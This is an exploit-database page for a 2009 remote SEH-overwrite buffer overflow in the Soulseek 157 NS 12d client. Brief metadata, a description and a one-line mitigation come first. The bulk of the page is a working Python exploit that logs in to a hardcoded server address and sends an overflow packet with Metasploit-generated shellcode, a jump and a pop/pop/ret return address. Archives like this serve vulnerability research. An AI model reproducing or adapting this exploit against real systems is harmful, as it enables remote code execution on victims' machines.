Soulseek 157 NS Remote Seh Overwrite Exploit

vendor:

Soulseek 157 NS 12d

by:

http://www.milw0rm.com/exploits/8777

7,8

CVSS

HIGH

Seh Overwrite

119

CWE

Product Name: Soulseek 157 NS 12d

Affected Version From: 157 NS 12d

Affected Version To: 157 NS 12d

Patch Exists: YES

Related CWE: N/A

CPE: a:soulseek:soulseek_157_ns_12d

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP (SP3)

2009

Soulseek 157 NS Remote Seh Overwrite Exploit

This exploit is a buffer overflow vulnerability in Soulseek 157 NS. It allows an attacker to execute arbitrary code on the vulnerable system by sending a specially crafted packet to the Soulseek server. The exploit uses a SEH overwrite technique to gain control of the execution flow.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
#[x] Bug :Soulseek 157 NS Remote Seh Overwrite Exploit
#[x] Credits & poc from : http://www.milw0rm.com/exploits/8777
#[x] Tested on : Windows Xp (sp3), Soulseek 157 NS 12d
#[x] The exploit attacks the user :"test4321"

import struct
import sys, socket
from time import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242))  # Change to Port 2240 for 156* branch

request = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00"
request += "testt4321" # username
request += "\x08\x00\x00\x00"
request += "12345678" # password
request += "\xb5\x00\x00\x00\x20\x00\x00\x00"
request += "\x38\x65\x39\x31\x66\x37\x33\x30\x35\x35\x37\x31\x32\x35\x64\x37"
request += "\x34\x39\x32\x34\x62\x64\x66\x35\x63\x32\x39\x61\x36\x37\x64\x61"
request += "\x01\x00\x00\x00"

s.send(request)
sleep(1)

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x51\x4b\x38"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x48"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x50\x4b\x48\x4a\x36\x4e\x43\x4f\x55\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
"\x42\x45\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x46\x43\x56\x42\x50\x5a")

payload  = "\x41" * (3084-len(shellcode))
payload += shellcode
payload += "\xE9\xA4\xFE\xFF\xFF"
payload += "\90"*22
payload += "\xEB\xE3\x41\x42"
payload += "\x34\x14\x40\x00" # p/p/r->SoulSeek.exe
payload += "\x44" * 1423


request2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00"
request2 += "testt4321"
request2 += "\xa4\x5a\x51\x44\xe8\x0e\x00\x00"
request2 += payload

s.send(request2)
sleep(1)
s.recv(1024)

# milw0rm.com [2009-05-26]